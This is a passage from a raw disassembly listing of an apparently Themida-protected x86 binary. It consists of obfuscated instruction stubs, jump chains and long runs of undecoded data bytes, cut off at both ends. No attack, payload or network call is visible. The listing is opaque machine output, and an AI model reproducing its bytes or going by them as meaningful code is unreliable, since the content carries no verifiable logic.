56B6BE56h, 0E6D12030h dd 1D1FE681h, 0B2E96881h, 8100001Ah, 4C4h, 0E1895100h dd 31CBE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FD7A6: ; CODE XREF: Themida_:004FB977j neg eax jmp loc_4FF6F9 ; --------------------------------------------------------------------------- db 89h, 0E3h, 52h dd 0FE034DBAh, 0B5CA8142h, 81486925h, 66569DCAh, 0CE6CE954h dd 5166FFFFh, 8544E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FD7CE: ; CODE XREF: Themida_:004F8FD1j pop esp and eax, edx mov edx, [esp] jmp loc_4FBAD2 ; --------------------------------------------------------------------------- db 4Fh, 81h, 0E7h dd 0FA13B62h, 15BBE9h, 0A6BB5300h, 8146F502h, 0C97D15CBh dd 0C1D3F77Eh, 0E3C108EBh, 4C38102h, 1FDFBF6h, 14875BDAh dd 24248B24h, 0FF8505E9h, 176BBFFh, 0DF292540h, 5FF8015Bh dd 5A2434FFh, 5304C483h, 0D5385BBBh, 0A1685257h, 5A03A0B9h dd 8904EC83h, 0A0BF243Ch, 0E93E841Fh, 0FFFFCD22h ; --------------------------------------------------------------------------- loc_4FD83C: ; CODE XREF: Themida_:004FE3F8j push esi mov esi, 2 sub ebp, 2C5915AFh add ebp, esi add ebp, 2C5915AFh pop esi jmp loc_50177E ; --------------------------------------------------------------------------- dw 8956h dd 0D71EE9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FD85E: ; CODE XREF: Themida_:004FAB78j xor [esp], ecx jmp loc_4FAA82 ; --------------------------------------------------------------------------- dw 0E95Dh dd 49F7h, 4F17E942h, 4330000h, 16FAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FD87A: ; CODE XREF: Themida_:004F9769j push eax mov eax, 249A30A8h add edx, eax jmp loc_4F8239 ; --------------------------------------------------------------------------- db 68h dd 30C90A67h, 0D3EA815Ah, 81402F13h, 1C2h, 0B9CDE900h dd 0CF01FFFFh, 0FFD2F7E9h, 7EE3BDFFh, 0DDF7793Dh, 440BED81h dd 0EF295975h, 2AC7815Dh, 0FD61A855h, 0A68h, 17DAE900h dd 0C4810000h, 4, 0E95E5456h, 0FFFFD9CCh, 8324048Bh, 0C48304C4h dd 40504h, 0A8E90000h, 31FFFF8Ch, 5E9D68C3h, 0C890000h dd 0DF10E924h, 0BD66FFFFh, 1660002h, 6602246Ch, 83242C8Bh dd 8F6602C4h, 7E92404h, 0C1000003h, 52E907EFh, 66FFFFE7h dd 8166FB29h, 66414BC3h, 192FC381h, 83243C8Bh, 556604C4h dd 90B3E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FD932: ; CODE XREF: Themida_:004F6D5Cj sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_4F623A ; --------------------------------------------------------------------------- loc_4FD941: ; CODE XREF: Themida_:00502784j add ebp, 0FF76C8FFh sub [edi+24h], ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 loc_4FD95C: ; CODE XREF: Themida_:004F90F4j push 47Ch mov [esp], ebx mov eax, [esp] push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_4F76BD ; --------------------------------------------------------------------------- loc_4FD97A: ; CODE XREF: Themida_:00500229j xor ebp, 9814259h jmp loc_4FC792 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Ah, 0E9000000h, 4962h, 2BDB0559h, 0D8015938h dd 382BDB2Dh, 0D8295B59h, 0A9BE5657h, 8919487Ah, 0EB78E9F7h dd 0C281FFFFh, 2BD3F40Ch, 0E95AD689h, 0FFFF9839h ; --------------------------------------------------------------------------- loc_4FD9C0: ; CODE XREF: Themida_:00500EF2j push esi mov esi, ecx mov ebp, esi pop esi jmp loc_500073 ; --------------------------------------------------------------------------- db 0B1h dd 59CB88A6h, 0D928FAB1h, 5B2434FFh, 0FFBEA9E9h, 24148BFFh dd 3432E9h db 0 ; --------------------------------------------------------------------------- loc_4FD9E5: ; CODE XREF: Themida_:004FD1B8j mov [esp], edx mov edx, 55B06768h add [esp+4], edx push dword ptr [esp] pop edx add esp, 4 pop eax jmp loc_4F6996 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aStsm7 db '$STéŒ7',0 align 4 loc_4FDA0C: ; CODE XREF: Themida_:004FFBBDj pop ebp pop edi push edx push ebx mov ebx, 255B0591h sub ebx, 28EB7C45h add ebx, 9F060B0h push edi mov edi, 65FE9FCh sub ebx, edi pop edi mov edx, ebx pop ebx add edx, ebx jmp loc_5025FC ; --------------------------------------------------------------------------- loc_4FDA34: ; CODE XREF: Themida_:004FAADAj push ebp mov ebp, 30413E77h add ecx, ebp jmp loc_4FA3D8 ; --------------------------------------------------------------------------- db 1, 0F8h, 5Fh dd 2BA52h, 23E90000h, 89000009h, 405E0h, 68520000h, 2C2F1EA6h dd 243DE95Ah, 1C310000h, 241C3324h, 5450535Ch, 3BB5358h dd 813ADA3Ah, 726E64CBh, 403BE925h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FDA7E: ; CODE XREF: Themida_:004FABF0j mov [esp], ecx push 0CCAh jmp loc_50198B ; --------------------------------------------------------------------------- align 4 dd 805866E7h, 0FA306EF7h, 5AD0285Bh, 24148B66h, 2C483h dd 0B5B2E9D8h, 0C968FFFFh, 8900000Ah, 0BE562414h, 1B125EB8h dd 5581CE81h, 0DEF7718Bh, 6E87C681h, 0D6F704FAh, 4EC8353h dd 0B9240C89h, 1A92116h, 548AE181h, 0BB533003h, 29B9D50Bh dd 895BD929h, 0A8E959CBh, 66000035h, 2454F651h, 66596601h dd 3097B753h, 0F44BE9FDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FDAFA: ; CODE XREF: Themida_:004F7091j mov [esp], edx push ebp push ebx mov ebx, 38483185h dec ebx sub ebx, 38483184h push ebx pop ebp pop ebx mov edx, ebp pop ebp add edx, ebx jmp loc_4FC31C ; --------------------------------------------------------------------------- loc_4FDB18: ; CODE XREF: Themida_:004FEA61j add ebx, 4 push edx sub esp, 4 mov [esp], esi jmp loc_4FEBC6 ; --------------------------------------------------------------------------- loc_4FDB2A: ; CODE XREF: Themida_:004FEFE8j pop esi pop dword ptr [esp] push esi push ebp pop esi pop ebp not ebp xchg ebp, esi jmp loc_4F8A14 ; --------------------------------------------------------------------------- db 35h dd 3ABF129Dh, 8158C309h, 0E972B0C3h, 61CB8146h, 81274928h dd 0A49D0EBh, 9B56E95Ah, 8953FFFFh, 4C381E3h, 81000000h dd 4C3h, 0D951E900h, 3C89FFFFh, 761E6824h, 8F540000h, 4812404h dd 424h, 2434FF00h, 0FFC8ACE9h, 0E9E389FFh, 0FFFFE95Ch dd 240C8B66h, 57585450h, 0F7130768h, 0E7815F57h, 1F1B1188h dd 4A87E9h, 0A5E95F00h, 5DFFFF89h, 1F13E9h, 65B75300h dd 0C780D7F6h, 0B4506601h, 0FEC5E96Fh, 0C683FFFFh, 24348704h dd 0E924248Bh, 20Bh, 0E958C688h, 0FFFFF88Fh ; --------------------------------------------------------------------------- loc_4FDBDC: ; CODE XREF: Themida_:004FD0D0j push 74C561F6h pop eax jmp loc_4FFA85 ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 0E3895324h, 4C381h, 0EB830000h, 2277E904h dd 0C5810000h, 0E5B1F7Ch, 242C8759h, 0F624248Bh, 0B60F66F9h dd 47E3E9CCh, 0EC810000h, 2, 24148966h, 24D8BA66h, 63C28166h dd 0EAC16656h, 66426608h, 86BB6653h, 0C28166FFh, 1662F68h dd 0EA8166DAh, 5B662F68h, 24540166h, 148B6602h, 2C48324h dd 0FF80BDE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FDC55: ; CODE XREF: Themida_:00500082j and ecx, edi push dword ptr [esp] push dword ptr [esp] mov edi, [esp] jmp loc_4FB1C7 ; --------------------------------------------------------------------------- db 57h, 0E9h, 10h dd 0B8FFFFCCh, 4, 39AAEB81h, 0C3014FAEh, 39AAC381h, 0F6E94FAEh db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FDC83: ; CODE XREF: Themida_:004FEB5Cj xor dword ptr [esp], 48C21608h pop edx xor edx, 48C21608h push esi mov esi, esp jmp loc_4FCFBF ; --------------------------------------------------------------------------- aYa db 'Y€Æ([',0 db 0F0h dd 9E8E9h db 0 ; --------------------------------------------------------------------------- loc_4FDCA5: ; CODE XREF: Themida_:0050132Aj add edx, 4 xchg edx, [esp] pop esp or [edi+1Ch], ecx pop ecx push 64B0h mov [esp], ebx jmp loc_5008A7 ; --------------------------------------------------------------------------- loc_4FDCBD: ; CODE XREF: Themida_:004F842Cj sub [esp], eax jmp loc_4FA418 ; --------------------------------------------------------------------------- loc_4FDCC5: ; CODE XREF: Themida_:004F908Cj add ebx, edi mov ecx, [ebx] push dword ptr [esp] pop ebx sub esp, 4 mov [esp], eax jmp loc_50184D ; --------------------------------------------------------------------------- loc_4FDCD8: ; CODE XREF: Themida_:0050078Dj shr eax, 0Ch xor eax, ecx push 4984h mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], eax not dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_4FF76F ; --------------------------------------------------------------------------- db 0C0h, 0E6h, 3 dd 806CF680h, 0EE8012EEh, 66F0304Ch, 5124148Bh, 0FFA062E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FDD49: ; CODE XREF: Themida_:004F642Fj mov esp, [esp] mov [esp], ebx push dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_4FE836 ; --------------------------------------------------------------------------- loc_4FDD63: ; CODE XREF: Themida_:004F80EEj mov ebx, edi pop edi mov esi, ebx jmp loc_4FB5E3 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 0FF8F95E9h, 241489FFh, 0C6FEF8B6h, 80A9F680h, 0F72839EFh dd 5A39C780h, 805BFE88h, 0F330A0F6h, 8124148Bh, 4C4h, 35D6E900h dd 595E0000h, 0FF205F89h, 0E95B2434h, 0EBFh ; --------------------------------------------------------------------------- loc_4FDDAC: ; CODE XREF: Themida_:004FB6E4j jz loc_4F7F69 push ebp push eax mov eax, 22814D15h and eax, 581C1002h shr eax, 8 shr eax, 3 push ecx mov ecx, 3C7F5820h sub ecx, 1 push edi jmp loc_4FBA15 ; --------------------------------------------------------------------------- db 81h dd 61051FEFh, 54E94F11h, 55FFFFF8h, 565B951h, 0D9F72527h dd 0F616E981h, 0E95783EBh, 0FFFFAB72h, 0FFC38343h, 1D64E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FDDFE: ; CODE XREF: Themida_:004FE33Fj shr edx, 3 jmp loc_4FA0D8 ; --------------------------------------------------------------------------- dw 0C483h dd 8BF83002h, 6E9241Ch, 5DFFFFE7h, 0A4E9C101h, 1FFFFCFh dd 0FAEA81FAh, 5F2C9B43h, 7EF28158h, 0E98C49F0h, 0FFFFC54Fh ; --------------------------------------------------------------------------- loc_4FDE30: ; CODE XREF: Themida_:004FF47Ej pop esp and eax, edx push dword ptr [esp] pop edx add esp, 4 jmp loc_4FB5BE ; --------------------------------------------------------------------------- dd offset dword_4C92F8+770h align 4 dd 54243489h, 72B8505Eh, 0C1441524h, 0D8F704E8h, 68h, 0A37AE900h dd 2C33FFFFh, 2748E924h, 575B0000h, 0E6685152h, 5970913Ah dd 5DE9D1F7h, 8BFFFFC3h, 0C483243Ch, 0E0895004h, 405h dd 4C08300h, 5C240487h, 148BD031h, 4EC8324h, 54240C89h dd 0FFB275E9h, 7E70E9FFh, 0B850FFFFh, 72562A34h, 0DE35D8F7h dd 0E929674Dh, 107Eh, 0C268E689h, 8900002Dh, 0A7BD242Ch dd 812FC221h, 3605BCF5h, 8E5C15Bh, 8106EDC1h, 0D09068F5h dd 8BEE0103h, 0C481242Ch, 4, 0FF91DAE9h, 80C328FFh, 0EB80ABEBh dd 0C0B60F12h, 46E8E9h, 39B65200h, 0FFC1B5E9h, 6AA8BEFFh dd 3CE92E90h, 81FFFFE7h, 9975FAC9h, 81414938h, 9A2986E1h dd 78E98175h, 294007C5h, 2FB4E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FDF22: ; CODE XREF: Themida_:004FD24Dj sub eax, 603F7395h mov ebx, eax pop eax shl ebx, 4 or ebx, 50C858A1h add ebx, 6A40374Eh and ebx, 45A01A4Bh add ebx, 3E4E110Eh add ebx, 8191DCEBh sub edi, 43216E1Ah add edi, 3EF3721h add edi, 4A832C75h add edi, ebx sub edi, 4A832C75h sub edi, 3EF3721h add edi, 43216E1Ah pop ebx jmp loc_4FB997 ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 0FFFFF748h, 0DB7E9ADh, 3DBD0000h, 8106C757h dd 930BD9C5h, 12F58128h, 12F5A63h, 56555DE8h, 468h, 0F5895E00h dd 8BE8295Eh, 0B2E9242Ch db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FDFAF: ; CODE XREF: Themida_:004FFE5Dj mov [esp], eax push esp pop eax push ebp push edi mov edi, 75EC280Dh jmp loc_4F6DDD ; --------------------------------------------------------------------------- dd 5C241C87h, 0BB241C89h, 4, 0FFA5BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FDFD1: ; CODE XREF: Themida_:004FA909j xor dword ptr [esp], 65D04F55h pop ebx xor ebx, 65D04F55h pop ebp push edx mov edx, 3F431AFCh jmp loc_500370 ; --------------------------------------------------------------------------- db 0F6h dd 0B75366D9h, 203E9CDh, 0E9590000h, 2B9h, 81242C8Bh, 4C4h dd 4EC8100h, 89000000h, 0CAE92434h db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FE013: ; CODE XREF: Themida_:00500772j mov ebp, [esp] add esp, 4 jmp loc_4FB24A ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h db 83h, 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_4FFFFE ; --------------------------------------------------------------------------- loc_4FE03B: ; CODE XREF: Themida_:004FE796j add eax, 175913B1h pop ebp add eax, 4 xor eax, [esp] jmp loc_4F9BC0 ; --------------------------------------------------------------------------- loc_4FE04C: ; CODE XREF: Themida_:004FC7A7j add esi, ebp jmp loc_4F90B6 ; --------------------------------------------------------------------------- db 83h dd 0C8702E9h, 24248B24h, 24148966h, 0E99C5066h, 1EA0h dd 54E9BD55h, 0C5817DFBh, 8204AB1Bh, 48FDC681h, 0EE016175h dd 48FDEE81h, 815D6175h, 2C6h, 24348700h, 9CC8845Ch, 0FF7CACE9h dd 0AFBDFFh, 0ED816526h, 4B1856CEh, 5005EDC1h, 0B0C70B8h dd 8BC5217Eh, 16E92404h, 89FFFFD3h, 0A6BD242Ch, 816CEF02h dd 516A32F5h, 0E558E96Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FE0C6: ; CODE XREF: Themida_:004F94F5j and ebx, edi jmp loc_502777 ; --------------------------------------------------------------------------- loc_4FE0CD: ; CODE XREF: Themida_:004F7422j push ebp jmp loc_4FCEE0 ; --------------------------------------------------------------------------- loc_4FE0D3: ; CODE XREF: Themida_:004FF6E6j mov eax, [esp] add esp, 4 push ecx mov ch, 0D8h sub esp, 4 jmp loc_4FA762 ; --------------------------------------------------------------------------- dd 525E5456h, 0FA6016BAh, 0FDEA8142h, 8153A872h, 0AE12EBC2h dd 0D8E910h, 0EC810000h, 4, 0E9240489h, 0FFFFB560h, 0B519B450h dd 0AB6DE9AEh, 0C581FFFFh, 306A70DCh, 84E9F501h, 81FFFFEFh dd 0BC43E1C7h, 5FFE0116h, 0F681DEF7h, 717B4FC1h, 3D35E9h dd 0A0E95900h, 0F7FFFFE2h, 0C1582414h, 0F74802E0h, 0A0BA52D8h dd 555CF859h, 0DB7537BDh, 7E5C14Dh, 0F581D5F7h, 5D000E73h dd 747E9h, 92BF5700h, 121FC3Ch, 9A4E9FBh, 0C3810000h, 4 dd 0FFD8D3E9h, 5EF089FFh, 1209E9h db 0 ; --------------------------------------------------------------------------- loc_4FE185: ; CODE XREF: Themida_:004FEA85j add eax, 0D822F5D4h sub edi, eax pop eax sub edi, 0F149990Eh add ebx, 6C2A3281h jmp loc_4F7586 ; --------------------------------------------------------------------------- dw 0D92Ch dd 0FFDE70E9h, 0C8B66FFh, 0E1895124h, 4C181h, 0EC830000h dd 242C8904h, 6E90BB53h, 0B9511E43h, 255FA800h, 75E9CD89h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FE1CB: ; CODE XREF: Themida_:004F81B5j add esp, 4 jmp loc_4F75AF ; --------------------------------------------------------------------------- dw 0D601h dd 4C6835Ah, 5C243487h, 0FFF702E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FE1E5: ; CODE XREF: Themida_:004F7196j mov ebx, 0FFFFFFFFh sub [edi+24h], ebx pop ebx jmp loc_4F72B3 ; --------------------------------------------------------------------------- loc_4FE1F3: ; CODE XREF: Themida_:004FF23Bj pop ebx jmp loc_4F73BA ; --------------------------------------------------------------------------- db 28h, 0F9h, 66h dd 59CB005Bh, 0E9C0B60Fh, 0FFFFC5E2h, 0E924248Bh, 0FFFFF265h dd 4B9h, 0FFC80100h, 0E2E92434h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FE21F: ; CODE XREF: Themida_:004F7143j pop esi add dword ptr [esp+4], 457E385Bh add [esp+4], ecx sub dword ptr [esp+4], 457E385Bh jmp loc_4F842B ; --------------------------------------------------------------------------- db 0E9h, 0D4h, 7Ah dd 3C33FFFFh, 0CC4DE924h, 0E289FFFFh, 4C281h, 0C2810000h dd 4, 2474FF52h, 24148B04h, 8F04C483h, 248B2404h, 3FB0124h dd 68535B03h, 3D7Ah, 50242489h, 4B8h, 24440100h, 1C8B5804h dd 4C48124h, 83000000h, 48904ECh, 0F9D9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FE292: ; CODE XREF: Themida_:004FA82Fj mov edi, 8E18FBAFh jmp loc_4FD39C ; --------------------------------------------------------------------------- loc_4FE29C: ; CODE XREF: Themida_:004FD06Aj xchg ebx, [esp] jmp loc_4FFCC8 ; --------------------------------------------------------------------------- loc_4FE2A4: ; CODE XREF: Themida_:004FD5ECj push ebx jmp loc_4FF414 ; --------------------------------------------------------------------------- dw 1433h dd 24248B24h, 0FFA961E9h, 4EA81FFh, 87000000h, 895C2414h dd 0C788241Ch, 8B5BFA88h, 0C4812404h, 4, 5305E2C0h, 0A3E905B3h dd 8BFFFF7Dh, 0EC832424h, 240C8904h, 9C20E95Bh, 0C281FFFFh dd 4, 2C281h, 0FF520000h, 0E9042474h, 0FFFFB499h, 0EE6DE95Dh dd 0D001FFFFh, 98403105h, 181CE965h, 3C870000h, 1C895C24h dd 1EF8BB24h, 0D3F704B1h, 0C383EBD1h, 2E3C101h, 0F381D3F7h dd 9623DEBh, 726FC581h, 0DD013FDAh, 0FFC12EE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FE33D: ; CODE XREF: Themida_:00500372j not edx jmp loc_4FDDFE ; --------------------------------------------------------------------------- dd 4C481h, 0C3810000h, 84E4854h, 1C8BD921h, 8DEEE924h dd 875AFFFFh, 0FF5C240Ch, 81582434h, 4ECh, 24048900h, 20BCE951h dd 0D0010000h, 2404875Ah, 8966645Ch, 7DACE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FE382: ; CODE XREF: Themida_:004F698Aj pop dword ptr [esp] pop esp mov [esp], ecx push ebx push edx mov edx, 535C3FD5h xor edx, 74AA0E54h add edx, 0D809CE80h mov ebx, edx jmp loc_4F9862 ; --------------------------------------------------------------------------- db 81h dd 0FA43ACCBh, 0BCBA525Ch, 297CFB67h, 0C7815AD3h, 698F7AB7h dd 0BE9DF01h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FE3BF: ; CODE XREF: Themida_:004FF76Aj mov edx, 51042EAAh neg edx shl edx, 3 neg edx inc edx xor edx, 88217555h add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] pop esp xor bl, al movzx eax, al mov dx, [esp] push 423Ch mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_4FD83C ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 0FFFFCB2Eh ; --------------------------------------------------------------------------- loc_4FE408: ; CODE XREF: Themida_:00500A4Dj inc edi shr edi, 8 push esi mov esi, 405C32F6h add edi, esi mov esi, [esp] jmp loc_502071 ; --------------------------------------------------------------------------- loc_4FE41C: ; CODE XREF: Themida_:004FA05Bj inc esi sub esi, 0BD6992BDh mov edx, esi jmp loc_4FA3EB ; --------------------------------------------------------------------------- dw 5058h dd 291EE9h, 5BD82900h, 5158C229h, 0FF9310E9h, 1EF81FFh dd 51000000h, 1B4D8768h, 0C7815978h, 2AF56A08h, 0FF8A68E9h dd 4EC83FFh, 67CE9h, 0C4C68100h, 0E94FA539h, 0FFFFCE17h dd 0E932FF66h, 0FFFF78A2h, 2D59C801h, 4, 8B240487h, 0C892424h dd 0E935B524h, 0FFFFC9C8h ; --------------------------------------------------------------------------- loc_4FE488: ; CODE XREF: Themida_:00502076j pop edi push 3442h mov [esp], ebp mov ebp, 0EE26493h add ebp, 128C709Fh neg ebp jmp loc_4F9045 ; --------------------------------------------------------------------------- db 1 dd 9BE95AD1h, 86FFFFCBh, 0D4DDE9C7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FE4B2: ; CODE XREF: Themida_:004FEB0Aj inc edx push ebp mov ebp, 11C04F75h or edx, ebp pop ebp jmp loc_501B85 ; --------------------------------------------------------------------------- loc_4FE4C1: ; CODE XREF: Themida_:004F8961j shr ebp, 2 shr ebp, 6 xor ebp, 0A75236h xor edi, ebp pop ebp jmp loc_4F8BFD ; --------------------------------------------------------------------------- db 66h, 58h, 80h dd 0C980DBE1h, 1CF180AEh, 3F40E9h, 1AC58100h, 81188298h dd 0E968F1EBh, 0C94DE912h, 55CFFFFh, 4, 2BD55h, 0E8010000h dd 1BA8E95Dh, 148B0000h, 4C48124h, 80000000h, 0EB28B4EBh dd 0FFADE2E9h, 0C0F9B3FFh, 0EB8006E3h, 0D5C18076h, 0E980D900h dd 9045BD5h, 58E9C828h, 5EFFFF84h, 47B6C681h, 0F7316072h dd 8324348Bh, 0F2E904C4h, 2100002Fh, 2434FFD6h, 0E189515Ah dd 4C181h, 0C1810000h, 4, 5C240C87h, 119FE9h, 0BE565F00h dd 6A590EA9h, 29A8E9h db 0 ; --------------------------------------------------------------------------- loc_4FE575: ; CODE XREF: Themida_:005018D2j and eax, ebp push dword ptr [esp] pop ebp sub esp, 4 mov [esp], ebp jmp loc_4FABCA ; --------------------------------------------------------------------------- db 68h, 9Bh, 28h dd 14890000h, 39FD6824h, 3BE90000h, 0C1000036h, 0F18107E9h dd 56FA2F6Ch, 50C2BE56h, 0F6814C6Dh, 7C87032Ah, 348BF109h dd 4C48324h, 3B62E9h, 86BE5600h, 0B87E854Bh, 460F681Fh dd 348BF031h, 4C48324h, 1ABE5648h, 29527E59h, 0E8C15EF0h dd 0E9D8F704h, 0FFFFB559h ; --------------------------------------------------------------------------- loc_4FE5E4: ; CODE XREF: Themida_:004F86F3j mov ebx, 4 add eax, ebx mov ebx, [esp] add esp, 4 push 6D28h mov [esp], eax push dword ptr [esp+4] jmp loc_4FA999 ; --------------------------------------------------------------------------- loc_4FE605: ; CODE XREF: Themida_:004FAEF2j sub ecx, 5456496Dh mov ebp, ecx pop ecx xor eax, ebp jmp loc_4F9E79 ; --------------------------------------------------------------------------- loc_4FE615: ; CODE XREF: Themida_:005012C7j pop edi jmp loc_4F7EF3 ; --------------------------------------------------------------------------- db 33h dd 0C31240Ch, 1448E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FE626: ; CODE XREF: Themida_:004FF7D0j pop ebx xchg eax, [esp] mov esp, [esp] pop ecx jmp loc_4FFC2F ; --------------------------------------------------------------------------- db 81h dd 2C4h, 83B65200h, 86A8B450h, 86C3FEDCh, 37C480DCh, 0FFB9BAE9h dd 24348BFFh, 104C483h, 0BB535DEEh, 38232876h, 0E901EB83h dd 0FFFFC349h, 0BA52D001h, 2CB2B90h, 79E9D001h, 0B4FFFF77h dd 3004B763h, 1226E9E7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FE67E: ; CODE XREF: Themida_:004F7849j pop esp push ebp push esp pop ebp jmp loc_4FA49B ; --------------------------------------------------------------------------- db 54h dd 0FF9D4DE9h, 515A66FFh, 5D5968h, 24148900h, 0C280CFB2h dd 0A1B353F9h, 1590E9h, 242C8100h, 6090A4Dh, 0D5685657h dd 0E96FD624h, 3DE5h, 0AEBD555Dh, 0E940D27Bh, 0FFFFAE08h ; --------------------------------------------------------------------------- loc_4FE6C4: ; CODE XREF: Themida_:004F6796j pop edx sub eax, 0E0A60AAh jmp loc_4F9355 ; --------------------------------------------------------------------------- db 0F7h dd 0EE952DDh, 66FFFFC4h, 0B1B25258h, 0E929EA80h, 0FFFFCEEDh dd 906EA81h, 0C2016AC9h, 906C281h, 0BE566AC9h, 2A896CF5h dd 535EF201h, 18119BBBh, 5BDA017Eh, 0FF7609E9h, 38B368FFh dd 34890000h, 66DABE24h, 0F52942A0h, 0BF575B5Eh, 23CA1F3Fh dd 207FE9h, 90E95300h, 50FFFFEFh, 734D5CB8h, 32C12D77h dd 0C10192C2h, 0D7C18158h, 8104DD62h, 0FE3165E9h, 81F1016Eh dd 0FE3165C1h, 4FE9576Eh, 66FFFFAFh, 66243433h, 66243431h dd 3431665Eh, 34336624h, 34316624h, 75A4E924h, 8B66FFFFh dd 5452240Ch, 4C2815Ah, 81000000h, 4ECh, 0B4A0E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FE786: ; CODE XREF: Themida_:00500EC5j push eax mov eax, 31FB0FD3h sub ebp, eax pop eax sub eax, 175913B1h add eax, ebp jmp loc_4FE03B ; --------------------------------------------------------------------------- db 55h dd 4711E7BDh db 21h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_4FA6E9 ; --------------------------------------------------------------------------- dw 0A5BBh dd 0F7588714h, 0C38143DBh, 588714A8h, 0FF810FE9h, 5FFB89FFh dd 4A5BDA89h, 0EEE9DAF7h, 81FFFF9Fh, 397E77F2h, 3E2C12Eh dd 0FF8F59E9h, 24248BFFh, 0FFF3FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FE7E9: ; CODE XREF: Themida_:004F7EFCj push eax add dword ptr [esp], 2F202C1Dh mov ebp, [esp] add esp, 4 sub ebp, 2F202C1Dh push dword ptr [esp] jmp loc_5004BE ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0D259669Dh, 0E99C241Ch, 2B48h ; --------------------------------------------------------------------------- loc_4FE814: ; CODE XREF: Themida_:004FA4FAj pop esp jmp loc_4F90D7 ; --------------------------------------------------------------------------- dw 0EB81h dd 31275EEDh, 0FF8373E9h, 24048BFFh, 8104C483h, 0C259C4C6h dd 0E3EAE94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FE836: ; CODE XREF: Themida_:004FDD5Ej add ecx, 4 xchg ecx, [esp] mov esp, [esp] push esi jmp loc_4FB3AB ; --------------------------------------------------------------------------- dd 1BE95451h, 29FFFFBFh, 0EEBE56C3h, 1344B22h, 24348BF3h dd 5504C483h, 0FFED94E9h, 52AD66FFh, 0FFEC26E9h, 5AD101FFh dd 4C181h, 0C870000h, 0C0835C24h, 24048702h, 6624248Bh dd 9C2404FFh, 0FF7485E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FE88D: ; CODE XREF: Themida_:00501B51j xchg edi, [esp] pop esp push 4BEEh jmp loc_4F6913 ; --------------------------------------------------------------------------- db 53h dd 0FF9152E9h, 24048BFFh, 0E904C483h, 0FFFFE250h, 0A4E9EA21h dd 66FFFF83h, 52240C8Bh, 2434FF54h, 8124148Bh, 4C4h, 4C48300h dd 4B850h, 0EDE90000h, 81FFFF86h, 8C2C80F2h, 5AD10114h dd 8704E983h, 895C240Ch, 2E9243Ch, 0B8000005h, 6F9973E9h dd 5158C229h, 867650B9h, 59CA0123h, 0FF797EE9h, 2474FFFFh dd 2434FF04h, 4C48159h, 8F000000h, 248B2404h, 240CD324h dd 73F4E99Ch, 0C680FFFFh, 66F58601h, 0B7536650h, 66FC88ECh dd 66E5085Bh, 0C0D5F658h, 0D5F604EDh, 80E3C580h, 0EB287AEBh dd 597AC380h, 0C380C328h, 0C0B60FE1h, 148B5452h, 4C48324h dd 3876BE56h, 73E95F27h, 8000003Bh, 0EB806DE3h, 8BD80019h dd 0C483241Ch, 66F02804h, 0E9E7B151h, 0FFFFB52Dh ; --------------------------------------------------------------------------- loc_4FE978: ; CODE XREF: Themida_:005015D7j sub eax, 7FC6FCE2h sub ebx, eax push dword ptr [esp] pop eax jmp loc_4F976E ; --------------------------------------------------------------------------- dd 0A36EEBBFh, 0D1EFD13Dh, 0EF8147E7h, 38834FCh, 0EE6FE953h dd 0C581FFFFh, 7FF50CB0h, 0FFA6C0E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FE9A9: ; CODE XREF: Themida_:005007E7j sub edi, 0FFF72D9Ah sub eax, edi pop edi sub ebp, 2DB45A28h sub ebp, 39E81A4Bh add ebp, eax jmp loc_4FCDBC ; --------------------------------------------------------------------------- loc_4FE9C5: ; CODE XREF: Themida_:00501F66j xchg 